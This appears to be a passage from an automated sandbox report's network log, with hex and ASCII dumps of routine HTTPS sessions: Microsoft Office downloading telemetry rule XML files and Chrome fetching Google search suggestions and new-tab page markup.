2024-11-13 17:08:15 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6a 39 76 45 64 65 46 6c 4f 30 43 68 79 64 38 66 2b 6f 5a 61 42 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: j9vEdeFlO0Chyd8f+oZaBg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:16 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:16 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:16 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cc46dee9-d01e-007a-0efd-2cf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170816Z-16547b76f7f2g4rlhC1DFWnx880000000h9g00000000n9t2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:16 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:16 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:16 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:16 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 7f7db364-701e-005c-2f05-2dbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170816Z-16547b76f7fcrtpchC1DFW52e80000000hd000000000rd28 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:16 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49740	172.217.18.4	443	6996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:16 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-13 17:08:16 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:16 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-8XtVyAaVFCAopEOsXHHy6g' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-13 17:08:16 UTC	112	IN	Data Raw: 33 31 31 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 62 61 73 65 62 61 6c 6c 20 6d 76 70 20 66 69 6e 61 6c 69 73 74 73 22 2c 22 61 6d 61 7a 6f 6e 20 66 72 65 65 76 65 65 20 73 68 75 74 74 69 6e 67 20 64 6f 77 6e 22 2c 22 66 6f 72 74 6e 69 74 65 20 75 70 64 61 74 65 20 70 61 74 63 68 20 6e 6f 74 65 73 22 2c 22 74 72 6f 70 69 63 61 6c 20 73 Data Ascii: 311)]}'["",["baseball mvp finalists","amazon freevee shutting down","fortnite update patch notes","tropical s
2024-11-13 17:08:16 UTC	680	IN	Data Raw: 74 6f 72 6d 20 68 75 72 72 69 63 61 6e 65 20 73 61 72 61 22 2c 22 63 6f 69 6e 35 30 20 69 6e 64 65 78 22 2c 22 6e 61 73 61 20 61 73 74 65 72 6f 69 64 20 61 70 70 72 6f 61 63 68 69 6e 67 20 65 61 72 74 68 22 2c 22 70 6c 61 79 73 74 61 74 69 6f 6e 20 35 20 63 6f 6e 73 6f 6c 65 20 62 6c 61 63 6b 20 66 72 69 64 61 79 22 2c 22 6e 62 61 20 6d 6f 63 6b 20 64 72 61 66 74 20 32 30 32 35 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 Data Ascii: torm hurricane sara","coin50 index","nasa asteroid approaching earth","playstation 5 console black friday","nba mock draft 2025"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2Vh
2024-11-13 17:08:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49738	172.217.18.4	443	6996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:16 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:16 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 764b7f95-c01e-00a1-1c00-2d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170816Z-16547b76f7fkcrm9hC1DFWxdag0000000heg00000000v82b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:16 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:16 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 1e45a1cf-401e-0029-3ef1-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170816Z-16547b76f7f8dwtrhC1DFWd1zn0000000hn0000000002e2c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:16 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:16 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:16 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 75035ba1-b01e-005c-42fb-2c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170816Z-16547b76f7f8dwtrhC1DFWd1zn0000000hng000000000eg9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:16 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49744	172.217.18.4	443	6996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:16 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-13 17:08:16 UTC	1042	IN	HTTP/1.1 200 OK Version: 694010790 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 13 Nov 2024 17:08:16 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-13 17:08:16 UTC	336	IN	Data Raw: 32 37 62 34 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 27b4)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-13 17:08:16 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-13 17:08:16 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
2024-11-13 17:08:16 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 32 2e 32 39 2c 31 38 2e 33 37 61 32 2c 32 2c 30 2c 30 2c 30 2c 30 2d 2e 32 34 2c 34 2e 33 2c 34 2e 33 2c 30 2c 30 2c 30 2d 2e 30 39 2d 2e 34 37 63 2d 2e 30 35 2d 2e 31 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 0 24 24\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M22.29,18.37a2,2,0,0,0,0-.24,4.3,4.3,0,0,0-.09-.47c-.05-.1
2024-11-13 17:08:16 UTC	1378	IN	Data Raw: 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 20 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 49 20 67 62 5f 62 64 20 67 62 5f 5a 5c 22 20 64 61 74 61 2d 6f 67 73 72 2d 66 62 5c 75 30 30 33 64 5c 22 74 72 75 65 5c 22 20 64 61 74 61 2d 6f 67 73 72 2d 61 6c 74 5c 75 30 30 33 64 5c 22 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 77 61 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 43 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 61 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 41 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 47 6f 6f 67 6c 65 20 61 70 70 73 5c 22 20 68 72 65 66 5c 75 30 30 33 64 5c Data Ascii: u003c\/div\u003e \u003c\/div\u003e \u003cdiv class\u003d\"gb_I gb_bd gb_Z\" data-ogsr-fb\u003d\"true\" data-ogsr-alt\u003d\"\" id\u003d\"gbwa\"\u003e\u003cdiv class\u003d\"gb_C\"\u003e\u003ca class\u003d\"gb_A\" aria-label\u003d\"Google apps\" href\u003d\
2024-11-13 17:08:16 UTC	1378	IN	Data Raw: 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 20 67 62 5f 6f 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 68 65 61 64 65 72 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 51 63 20 67 62 5f 4f 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 31 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 42 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 43 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 61 20 63 6c Data Ascii: \u003c\/div\u003e\u003cdiv class\u003d\"gb_a gb_od\"\u003e\u003c\/div\u003e\u003c\/header\u003e\u003cdiv class\u003d\"gb_Qc gb_Oc\"\u003e\u003cdiv class\u003d\"gb_1c\"\u003e\u003cdiv class\u003d\"gb_Bc\"\u003e\u003cdiv class\u003d\"gb_Cc\"\u003e\u003ca cl
